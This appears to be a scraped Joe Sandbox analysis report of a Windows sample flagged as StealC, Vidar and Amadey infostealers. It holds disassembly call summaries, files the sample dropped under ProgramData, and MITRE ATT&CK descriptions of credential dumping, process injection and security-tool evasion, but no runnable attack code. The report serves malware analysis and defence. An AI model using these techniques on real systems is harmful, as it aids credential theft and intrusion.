Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C6F9EEF

Strings

Infinity, xrefs: 6C6F9EB7
NaN, xrefs: 6C6F9EC1

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 2192cac92e020afdec3a56c75200790f8840a9f6ea37c1652b11b7bf33abecb4
Instruction ID: 59524278a5b5d8d4e4c65ea65540d5d96622312260fb6c26fd6cb7fd66a57761
Opcode Fuzzy Hash: 2192cac92e020afdec3a56c75200790f8840a9f6ea37c1652b11b7bf33abecb4
Instruction Fuzzy Hash: 6EF08C72600B41CADB01CF2ADA6B7A03372BB0331CF241A38C9100AE40D736765A8A96

Function 6C6F6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Krl,?,6C724B30,80000000,?,6C724AB7,?,6C6E43CF,?,6C6E42D2), ref: 6C6F6C42

Part of subcall function 6C6FCA10: malloc.MOZGLUE(?), ref: 6C6FCA26

moz_xmalloc.MOZGLUE(0Krl,?,6C724B30,80000000,?,6C724AB7,?,6C6E43CF,?,6C6E42D2), ref: 6C6F6C58

Strings

0Krl, xrefs: 6C6F6C33, 6C6F6C41, 6C6F6C57

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Krl
API String ID: 1967447596-4105008027
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 10796e0cc893f96c2eb0684e365863c15fed620d1b6c7d3eb40eadda5a80db95
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: CCE026F1A101001A9B08987C9C1956A71CA9B153A87044A35E873C3BC8FA94E452805D

Function 004136EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,?), ref: 00413445
StrCmpCA.SHLWAPI(?,00420F40), ref: 00413457
StrCmpCA.SHLWAPI(?,00420F44), ref: 0041346D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413777
FindClose.KERNEL32(000000FF), ref: 0041378C

Strings

18A, xrefs: 00413792

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: 18A
API String ID: 3840410801-3433864008
Opcode ID: 5412f452d6844f3e8f7990d60fe01954119fb5dc755b454d7fabaf6fcbe3c193
Instruction ID: 37f096532bd63c7a6543046c1d18d9a97d222ba567e71f558b3b71d2575676c5
Opcode Fuzzy Hash: 5412f452d6844f3e8f7990d60fe01954119fb5dc755b454d7fabaf6fcbe3c193
Instruction Fuzzy Hash: 26D05BB150410D5BCB20EF54EE589EE7339AF54355F0041C9F40E97150EB349B85CF95

Function 6C73B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C73B2C9,?,?,?,6C73B127,?,?,?,?,?,?,?,?,?,6C73AE52), ref: 6C73B628

Part of subcall function 6C7390E0: free.MOZGLUE(?,00000000,?,?,6C73DEDB), ref: 6C7390FF
Part of subcall function 6C7390E0: free.MOZGLUE(?,00000000,?,?,6C73DEDB), ref: 6C739108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C73B2C9,?,?,?,6C73B127,?,?,?,?,?,?,?,?,?,6C73AE52), ref: 6C73B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C73B2C9,?,?,?,6C73B127,?,?,?,?,?,?,?,?,?,6C73AE52), ref: 6C73B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C73B127,?,?,?,?,?,?,?,?), ref: 6C73B74D

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: bebc48329702dcdf01164a13f7fd30bb4cd12f26ba5352c27b15567639bbc877
Instruction ID: b481f34b220186d1d93ee9a9b1a58be52a4f002a29cb69e865d3e11c6c8344b5
Opcode Fuzzy Hash: bebc48329702dcdf01164a13f7fd30bb4cd12f26ba5352c27b15567639bbc877
Instruction Fuzzy Hash: 2C51B171A01A25CBDB14CF68CA8876AB7B1EB45304F45A52AC85AAB703D731B804CBA1

Function 6C736E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C736EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C736EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C736F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C736F5C

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: da0192cff3d37dbf31b66ff0ab2371c0ee45a1a18b6b06b0c9cb4f3313a9e23c
Instruction ID: 17f38e0a6521c419bc49381b987ae8983ea6e94c65934580d6d7ce87653eb43c
Opcode Fuzzy Hash: da0192cff3d37dbf31b66ff0ab2371c0ee45a1a18b6b06b0c9cb4f3313a9e23c
Instruction Fuzzy Hash: D031E571A1061A8FDB04CF2DCE806AA73E9FB84344F544139D41AC7652EF31E659C7A1

Function 6C74B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C6F0A4D), ref: 6C74B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C6F0A4D), ref: 6C74B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C6F0A4D), ref: 6C74B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C6F0A4D), ref: 6C74B67F

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 8dce60f2b0e1373a9134ed5da2f3026758cfd50bde2dedd7da100da30bbef73b
Instruction ID: 5d15e099caa8b2f07a98cc4d8dad5cf2e1afce9f899b9f799cc172e5b8ad09f1
Opcode Fuzzy Hash: 8dce60f2b0e1373a9134ed5da2f3026758cfd50bde2dedd7da100da30bbef73b
Instruction Fuzzy Hash: 9531F471A006168FDB10DF69C94466EBBB5FF81305F1AC579C8069B602DB31FD15CBA2

Function 6C71F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C71F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C71F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C71F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C71F668

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd3e836c2678678ef3a8972d350289c6e4b957bd2155c9a5e27c8c3f6039031c
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 14317171A04214AFC714CF1DCDC4A9F77BAEF88354B188539FA498BF05E631E9448B90

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CFCBFHJECAKEHIECGIEBAFIEBA

C:\ProgramData\DBKFIDAA

C:\ProgramData\FBFCAKKK

C:\ProgramData\GIIIECBGDHJJKFIDAKJDHJJKEB

C:\ProgramData\HJJEGIEHIJKKFIDHDGID

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre